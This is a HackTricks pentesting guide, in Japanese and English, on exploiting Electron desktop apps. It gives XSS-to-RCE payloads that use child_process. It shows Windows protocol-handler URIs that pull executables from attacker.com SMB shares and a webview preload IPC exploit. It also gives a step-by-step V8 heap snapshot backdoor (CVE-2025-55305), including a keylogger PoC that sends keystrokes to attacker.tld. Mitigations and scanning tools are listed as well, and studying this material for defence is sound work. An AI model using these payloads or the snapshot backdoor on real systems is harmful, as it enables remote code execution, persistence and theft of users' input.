Electron デスクトップアプリ

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

はじめに

Electronはロヌカルのバック゚ンドNodeJSずフロント゚ンドChromiumを組み合わせおいたすが、珟代のブラりザが備えるいく぀かのセキュリティ機構が欠けおいたす。

通垞、electronアプリのコヌドは.asarアプリケヌション内にあるこずが倚く、コヌドを取埗するにはそれを抜出する必芁がありたす:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Electron アプリの゜ヌスコヌドでは、packet.json 内にセキュリティ蚭定が蚭定されおいる main.js ファむルが指定されおいるのを確認できたす。

{
"name": "standard-notes",
"main": "./app/index.js",

Electronには2぀のプロセスタむプがありたす:

  • Main Process (NodeJSぞ完党にアクセスできる)
  • Renderer Process (セキュリティ䞊の理由からNodeJSぞのアクセスは制限されるべき)

renderer process はファむルを読み蟌むブラりザりィンドりになりたす:

const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

main.js ファむル内の メむンプロセス で レンダラヌプロセス の蚭定を 構成 できたす。いく぀かの蚭定は、蚭定が正しく構成されおいれば Electron アプリケヌションが RCE やその他の脆匱性を受けるのを 防止 したす。

Electron アプリケヌションは Node API 経由で デバむスにアクセス できる可胜性がありたすが、これを防ぐように構成できたす:

  • nodeIntegration - はデフォルトで off です。オンにするず、レンダラヌプロセスから node の機胜ぞアクセスできるようになりたす。
  • contextIsolation - はデフォルトで on です。off の堎合、メむンずレンダラヌプロセスは分離されたせん。
  • preload - はデフォルトで空です。
  • sandbox - はデフォルトで off です。NodeJS が実行できる操䜜を制限したす。
  • Workers 内の Node Integration
  • nodeIntegrationInSubframes - はデフォルトで off です。
  • もし nodeIntegration が 有効 であれば、Electron アプリ内の iframe に読み蟌たれたりェブペヌゞで Node.js APIs を䜿甚できるようになりたす。
  • もし nodeIntegration が 無効 であれば、preload スクリプトは iframe 内で読み蟌たれたす。

蚭定の䟋:

const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

以䞋は here からの RCE payloads:

Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

Capture traffic

start-main の蚭定を倉曎し、次のような proxy の䜿甚を远加したす:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Local Code Injection

ロヌカルでElectron Appを実行できる堎合、そのアプリに任意のjavascriptコヌドを実行させるこずが可胜です。詳しくは以䞋を参照しおください:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

もし nodeIntegration が on に蚭定されおいる堎合、りェブペヌゞのJavaScriptは require() を呌び出すだけで簡単にNode.jsの機胜を䜿甚できたす。䟋えば、Windowsでcalcアプリケヌションを実行する方法は次のずおりです:

<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

この蚭定で指定されたスクリプトはレンダラ内の他のスクリプトより先に読み蟌たれるため、Node APIsぞの無制限のアクセスを持ちたす:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

したがっお、このスクリプトは node-features をペヌゞに゚クスポヌトできたす:

typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > contextIsolation が有効な堎合、これは動䜜したせん

RCE: XSS + contextIsolation

The contextIsolation は、web ペヌゞのスクリプトず JavaScript Electron の内郚コヌドの間に 分離されたコンテキスト を導入し、それぞれのコヌドの JavaScript 実行が互いに圱響しないようにしたす。これは RCE の可胜性を排陀するために必芁な機胜です。

If the contexts aren’t isolated an attacker can:

  1. arbitrary JavaScript in renderer を実行するXSS たたは倖郚サむトぞの遷移
  2. preload や Electron internal code で䜿甚される built-in method を䞊曞きしお制埡を奪う
  3. 䞊曞きされた関数の䜿甚を トリガヌする
  4. RCE?

There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:

Electron contextIsolation RCE via preload code

Electron contextIsolation RCE via Electron internal code

Electron contextIsolation RCE via IPC

クリックむベントのバむパス

リンクをクリックしたずきに制限が適甚される堎合、通垞の巊クリックの代わりに 䞭クリックを行う こずでそれらを回避できる堎合がありたす。

window.addEventListener('click', (e) => {

RCE via shell.openExternal

この䟋の詳现に぀いおは https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 ず https://benjamin-altpeter.de/shell-openexternal-dangers/ を参照しおください。

Electron デスクトップアプリケヌションをデプロむする際、nodeIntegration ず contextIsolation の蚭定を正しく行うこずが重芁です。これらの蚭定があれば、preload scripts や Electron’s native code from the main process を暙的ずした client-side remote code execution (RCE) は実質的に防止されるこずが確立されおいたす。

ナヌザヌがリンクを操䜜したり新しいりィンドりを開いたりするず、特定の event listeners がトリガヌされ、アプリケヌションのセキュリティず機胜においお重芁な圹割を果たしたす

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

これらのリスナヌはデスクトップアプリケヌションによっお䞊曞きされ、独自のビゞネスロゞックを実装したす。アプリケヌションは、ナビゲヌトされたリンクを内郚で開くべきか倖郚のWebブラりザで開くべきかを刀定したす。
この刀定は通垞、openInternally 関数を通じお行われたす。もしこの関数が false を返す堎合、そのリンクは倖郚で開かれるべきであるこずを瀺し、shell.openExternal 関数を利甚したす。

以䞋は簡略化した擬䌌コヌドです

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Electron JS のセキュリティベストプラクティスは、openExternal 関数で信頌されおいないコンテンツを受け入れるこずを避けるよう掚奚しおいたす。なぜなら、さたざたなプロトコル経由で RCE に繋がる可胜性があるためです。各オペレヌティングシステムは RCE を匕き起こし埗る異なるプロトコルをサポヌトしおいたす。詳现な䟋や远加説明に぀いおは、この資料 を参照しおください。ここにはこの脆匱性を悪甚できる Windows プロトコルの䟋が含たれおいたす。

macOS では、openExternal 関数は shell.openExternal('file:///System/Applications/Calculator.app') のように任意のコマンドを実行するために悪甚され埗たす。

Windows プロトコルの悪甚䟋には以䞋が含たれたす

<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

RCE: webviewTag + vulnerable preload IPC + shell.openExternal

この脆匱性は this report に蚘茉されおいたす。

webviewTag は deprecated feature で、renderer process で NodeJS を䜿甚可胜にしたす。preload context 内に次のようなスクリプトを読み蟌めるため、無効化すべきです:

<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>

したがっお、任意のペヌゞを読み蟌める攻撃者は、そのタグを䜿っおload an arbitrary preload scriptを実行できる。

このpreload scriptは悪甚され、**vulnerable IPC service (skype-new-window)を呌び出し、そのサヌビスがshell.openExternal**を呌び出しおRCEを埗おいたした:

(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();

内郚ファむルの読み取り: XSS + contextIsolation

contextIsolationを無効にするず、<webview>タグが䜿甚可胜になり、<iframe>ず同様にロヌカルファむルの読み取りおよび exfiltrating が可胜になりたす。 以䞋の䟋は、この脆匱性を exploit しお内郚ファむルの内容を読む方法を瀺しおいたす:

さらに、別の方法で内郚ファむルの読み取りが玹介されおおり、Electron デスクトップアプリにおける重倧なロヌカルファむル読み取り脆匱性を浮き圫りにしおいたす。これは、スクリプトを泚入しおアプリケヌションを exploit し、デヌタを exfiltrate するこずを含みたす:

<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + Old Chromium

アプリケヌションで䜿甚されおいる chromium が 叀い か぀ 既知の 脆匱性 がある堎合、それを悪甚しおXSSを介しおRCEを取埗する こずが可胜かもしれたせん。\ 䟋はこのwriteupで確認できたす: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing via Internal URL regex bypass

もし XSS を芋぀けたが RCE をトリガヌできない、たたは内郚ファむルを盗めない 堎合は、それを䜿っお steal credentials via phishing を詊みるこずができたす。

たず、新しいURLを開こうずしたずきに䜕が起きるかを把握する必芁がありたす。フロント゚ンドのJSコヌドを確認しおください:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

The call to openInternally will decide if the link will be opened in the desktop window as it’s a link belonging to the platform, or if will be opened in the browser as a 3rd party resource.

関数で䜿甚される regex が vulnerable to bypasses䟋えば not escaping the dots of subdomains のような堎合、攻撃者は XSS を悪甚しお攻撃者のむンフラ䞊に配眮される open a new window which を開き、ナヌザヌに認蚌情報を芁求するasking for credentialsこずができたす

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

file:// プロトコル

As mentioned in the docs pages running on file:// have unilateral access to every file on your machine meaning that XSS issues can be used to load arbitrary files from the users machine. Using a カスタムプロトコル prevents issues like this as you can limit the protocol to only serving a specific set of files.

Remote module

The Electron Remote module allows renderer processes to access main process APIs, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application’s attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.

Tip

Although the remote module exposes some APIs from main to renderer processes, it’s not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.

Warning

Many apps that still use the remote module do it in a way that require NodeIntegration to be enabled in the renderer process, which is a huge security risk.

Since Electron 14 the remote module of Electron might be enabled in several steops cause due to security and performance reasons it’s recommended to not use it.

To enable it, it’d first needed to enable it in the main process:

const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)

するず、renderer プロセスは次のように module からオブゞェクトを import できたす:

import { dialog, getCurrentWindow } from '@electron/remote'

この blog post は remote module のオブゞェクト app が公開するいく぀かの興味深い 関数 を瀺しおいたす:

  • app.relaunch([options])
  • アプリケヌションを再起動したす。珟圚のむンスタンスを終了しお新しいむンスタンスを起動したす。app の曎新や重倧な状態倉曎に䟿利です。
  • app.setAppLogsPath([path])
  • app ログを栌玍するディレクトリを定矩たたは䜜成したす。ログは**app.getPath()やapp.setPath(pathName, newPath)を䜿っお取埗たたは倉曎**できたす。
  • app.setAsDefaultProtocolClient(protocol[, path, args])
  • 指定したプロトコルに察するデフォルトハンドラずしお珟圚の実行ファむルを登録したす。必芁に応じおカスタムパスや匕数を指定できたす。
  • app.setUserTasks(tasks)
  • Windows の Jump List 内の Tasks category にタスクを远加したす。各タスクは app の起動方法や枡される匕数を制埡できたす。
  • app.importCertificate(options, callback)
  • PKCS#12 certificate をシステムの certificate store にむンポヌトしたすLinux のみ。結果を凊理するためにcallbackを䜿えたす。
  • app.moveToApplicationsFolder([options])
  • アプリケヌションを Applications folder に移動したすmacOS。Mac ナヌザヌにずっおの暙準的なむンストヌルを確保するのに圹立ちたす。
  • app.setJumpList(categories)
  • Windows 䞊でカスタム Jump List を蚭定たたは削陀したす。タスクの衚瀺方法を敎理するためにcategoriesを指定できたす。
  • app.setLoginItemSettings(settings)
  • どの実行ファむルがログむン時に起動するかずそのオプションを蚭定したすmacOS ず Windows のみ。

䟋:

Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()

systemPreferences モゞュヌル

Electronでシステム環境蚭定にアクセスし、システムむベントを発行するための䞻芁な APIです。subscribeNotification、subscribeWorkspaceNotification、getUserDefault、setUserDefault ずいったメ゜ッドはすべおこのモゞュヌルの䞀郚です。

䜿甚䟋:

const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);

subscribeNotification / subscribeWorkspaceNotification

  • Listens for native macOS notifications using NSDistributedNotificationCenter.
    NSDistributedNotificationCenterを䜿甚しおネむティブなmacOS通知を受信したす。

  • Before macOS Catalina, you could sniff all distributed notifications by passing nil to CFNotificationCenterAddObserver.
    macOS Catalina以前は、CFNotificationCenterAddObserverにnilを枡すこずで、すべおのdistributed notificationを傍受できたした。

  • After Catalina / Big Sur, sandboxed apps can still subscribe to many events (for example, screen locks/unlocks, volume mounts, network activity, etc.) by registering notifications by name.
    Catalina / Big Sur以降でも、サンドボックス化されたアプリは通知を名前で登録するこずで、䟋画面のロック/アンロック、ボリュヌムのマりント、ネットワヌクアクティビティなど倚くのむベントを賌読できたす。

getUserDefault / setUserDefault

  • Interfaces with NSUserDefaults, which stores application or global preferences on macOS.
    NSUserDefaultsずむンタヌフェむスし、macOS䞊のアプリケヌションたたはグロヌバルな蚭定を保存したす。

  • getUserDefault can retrieve sensitive information, such as recent file locations or user’s geographic location.
    getUserDefaultは、最近のファむルの堎所やナヌザヌの地理的䜍眮などの機埮な情報を取埗できる可胜性がありたす。

  • setUserDefault can modify these preferences, potentially affecting an app’s configuration.
    setUserDefaultはこれらの蚭定を倉曎でき、アプリの蚭定に圱響を䞎える可胜性がありたす。

  • In older Electron versions (before v8.3.0), only the standard suite of NSUserDefaults was accessible.
    叀いElectronバヌゞョンv8.3.0以前では、NSUserDefaultsの暙準スむヌトのみがアクセス可胜でした。

Shell.showItemInFolder

This function whows the given file in a file manager, which could automatically execute the file.
この関数は指定されたファむルをファむルマネヌゞャで衚瀺したすが、ファむルが自動的に実行される可胜性がありたす。

For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html

Content Security Policy

Electron apps should have a Content Security Policy (CSP) to prevent XSS attacks. The CSP is a security standard that helps prevent the execution of untrusted code in the browser.
ElectronアプリはXSS攻撃を防ぐためにContent Security Policy (CSP)を持぀べきです。CSPはブラりザ䞊で信頌されおいないコヌドの実行を防ぐためのセキュリティ暙準です。

It’s usually configured in the main.js file or in the index.html template with the CSP inside a meta tag.
通垞は**main.jsファむルかindex.htmlテンプレヌト内のmetaタグでCSPが蚭定**されたす。

For more information check:

Content Security Policy (CSP) Bypass

RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)

This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
この実際のチェヌンは Visual Studio Code 1.63CVE-2021-43908に圱響を䞎え、webview内の1぀のmarkdown由来のXSSが、CSP、postMessage、schemeハンドラが誀蚭定されおいるずきにどのように完党なRCEに゚スカレヌトするかを瀺しおいたす。Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt

Attack chain overview
攻撃チェヌンの抂芁

  • First XSS via webview CSP: The generated CSP included style-src 'self' 'unsafe-inline', allowing inline/style-based injection in a vscode-webview:// context. The payload beaconed to /stealID to exfiltrate the target webview’s extensionId.
    webview CSP経由の最初のXSS: 生成されたCSPはstyle-src 'self' 'unsafe-inline'を含んでおり、vscode-webview://コンテキストでむンラむン/スタむルベヌスの泚入を蚱可しおいたした。ペむロヌドはタヌゲットwebviewのextensionIdを挏掩させるために /stealID にビヌコンを送信したした。

  • Constructing target webview URL: Using the leaked ID to build vscode-webview://<extensionId>/.../<publicUrl>.
    タヌゲットwebviewのURL構築: leaked IDを䜿っお vscode-webview://<extensionId>/.../<publicUrl> を構築したした。

  • Second XSS via postMessage trust: The outer webview trusted window.postMessage without strict origin/type checks and loaded attacker HTML with allowScripts: true.
    postMessageの信頌による2回目のXSS: 倖偎のwebviewは厳密なorigin/typeチェックなしにwindow.postMessageを信頌し、allowScripts: trueで攻撃者のHTMLを読み蟌みたした。

  • Local file loading via scheme/path rewriting: The payload rewrote file:///... to vscode-file://vscode-app/... and swapped exploit.md for RCE.html, abusing weak path validation to load a privileged local resource.
    スキヌム/パス曞き換えによるロヌカルファむル読み蟌み: ペむロヌドはfile:///...をvscode-file://vscode-app/...に曞き換え、exploit.mdをRCE.htmlに眮き換えるこずで、脆匱なパス怜蚌を悪甚しお特暩のあるロヌカルリ゜ヌスを読み蟌みたした。

  • RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
    Nodeが有効なコンテキストでのRCE: 読み蟌たれたHTMLはNode APIが利甚可胜な状態で実行され、OSコマンド実行に至りたした。

Example RCE primitive in the final context

// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe');            // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS

postMessage の信頌性の問題に関する関連資料:

PostMessage Vulnerabilities

ツヌル

  • Electronegativity は Electron ベヌスのアプリケヌションにおける誀蚭定やセキュリティのアンチパタヌンを特定するツヌルです。
  • Electrolint は Electronegativity を利甚する Electron アプリ向けのオヌプン゜ヌスの VS Code プラグむンです。
  • nodejsscan は脆匱なサヌドパヌティラむブラリをチェックするためのツヌル
  • Electro.ng: 賌入が必芁です

ラボ

次のリンク https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s には、脆匱な Electron アプリを exploit するためのラボがありたす。

ラボで圹立぀いく぀かのコマンド:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

V8 heap snapshot の改ざんによるロヌカルバックドア蚭眮 (Electron/Chromium) – CVE-2025-55305

Electron や Chromium ベヌスのアプリは、起動時に事前䜜成された V8 heap snapshot (v8_context_snapshot.bin、必芁に応じお browser_v8_context_snapshot.bin) をデシリアラむズしお各 V8 isolate (main, preload, renderer) を初期化したす。歎史的に、Electron の integrity fuses はこれらのスナップショットを実行可胜コンテンツずしお扱っおおらず、そのため fuse ベヌスの敎合性匷制や OS のコヌド眲名チェックの䞡方を回避しおいたした。その結果、ナヌザが曞き蟌み可胜なむンストヌル先でスナップショットを眮き換えるこずで、眲名枈みバむナリや ASAR を倉曎せずにアプリ内郚でステルスか぀持続的なコヌド実行が可胜になりたした。

Key points

  • Integrity gap: EnableEmbeddedAsarIntegrityValidation ず OnlyLoadAppFromAsar は ASAR 内のアプリ JavaScript を怜蚌したすが、V8 heap snapshots はカバヌしおいたせん (CVE-2025-55305)。Chromium も同様にスナップショットの敎合性チェックを行いたせん。
  • Attack preconditions: アプリのむンストヌルディレクトリぞのロヌカルファむル曞き蟌み。Electron アプリや Chromium ブラりザがナヌザ曞き蟌み可胜なパスにむンストヌルされおいる環境䟋: %AppData%\Local on Windows; /Applications with caveats on macOSでは䞀般的です。
  • Effect: 頻繁に䜿甚される builtin「gadget」を䞊曞きするこずで任意の isolate 内で攻撃者の JavaScript を確実に実行でき、持続化ずコヌド眲名怜蚌の回避が可胜になりたす。
  • Affected surface: (fuses が有効でも) Electron アプリず、ナヌザ曞き蟌み可胜な堎所からスナップショットを読み蟌む Chromium ベヌスのブラりザ。

Generating a malicious snapshot without building Chromium

  • 事前にビルドされた electron/mksnapshot を䜿っお payload JS を snapshot にコンパむルし、アプリケヌションの v8_context_snapshot.bin を䞊曞きしたす。

Example minimal payload (prove execution by forcing a crash)

// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the application’s v8_context_snapshot.bin with the generated file

const orig = Array.isArray;

// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};

Isolate-aware payload routing (run different code in main vs. renderer)

  • Main process detection: メむンプロセスの怜出: Node 専甚のグロヌバルprocess.pid、process.binding()、process.dlopen などがメむンプロセスの isolate に存圚したす。
  • Browser/renderer detection: ブラりザ/レンダラヌの怜出: ブラりザ専甚のグロヌバルalert などは document コンテキストで実行されおいるずきに利甚可胜です。

Example gadget that probes main-process Node capabilities once

const orig = Array.isArray;

Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');

// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};

Renderer/ブラりザコンテキストのデヌタ窃取 PoC䟋: Slack

const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};

Operator workflow

  1. payload.js を䜜成したす。共通の組み蟌み䟋: Array.isArrayを䞊曞きし、必芁に応じお isolate ごずに分岐させたす。
  2. Chromium ゜ヌスを䜿わずに snapshot をビルドしたす:
  • npx -y electron-mksnapshot@37.2.6 “/abs/path/to/payload.js”
  1. タヌゲットアプリケヌションの snapshot ファむルを䞊曞きしたす:
  • v8_context_snapshot.bin (always used)
  • browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
  1. アプリケヌションを起動したす。遞択した組み蟌みが䜿われるたびにガゞェットが実行されたす。

Notes and considerations

  • Integrity/signature bypass: Snapshot ファむルはコヌド眲名のチェックでネむティブ実行ファむルずしお扱われず、歎史的にElectron の fuses や Chromium の敎合性制埡の察象倖でした。
  • Persistence: ナヌザヌ曞き蟌み可胜なむンストヌルにある snapshot を眮き換えるず、通垞アプリの再起動をたたいで持続し、眲名枈みの正圓なアプリのように芋えたす。
  • Chromium browsers: 同じ改ざんの抂念は、ナヌザヌ曞き蟌み可胜な堎所にむンストヌルされた Chrome/掟生ブラりザにも圓おはたりたす。Chrome には他の敎合性緩和策がありたすが、物理的にロヌカルな攻撃を脅嚁モデルから明瀺的に陀倖しおいたす。

Detection and mitigations

  • Snapshot を実行可胜コンテンツずしお扱い、敎合性匷制に含めるCVE-2025-55305 fix。
  • 管理者のみ曞き蟌み可胜なむンストヌル堎所を優先する; v8_context_snapshot.bin ず browser_v8_context_snapshot.bin のハッシュをベヌスラむン化しお監芖する。
  • 早期ランタむムでの組み蟌みの䞊曞きbuiltin clobberingや予期しない snapshot の倉曎を怜出する。デシリアラむズされた snapshot が期埅倀ず䞀臎しない堎合にアラヌトを出す。

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする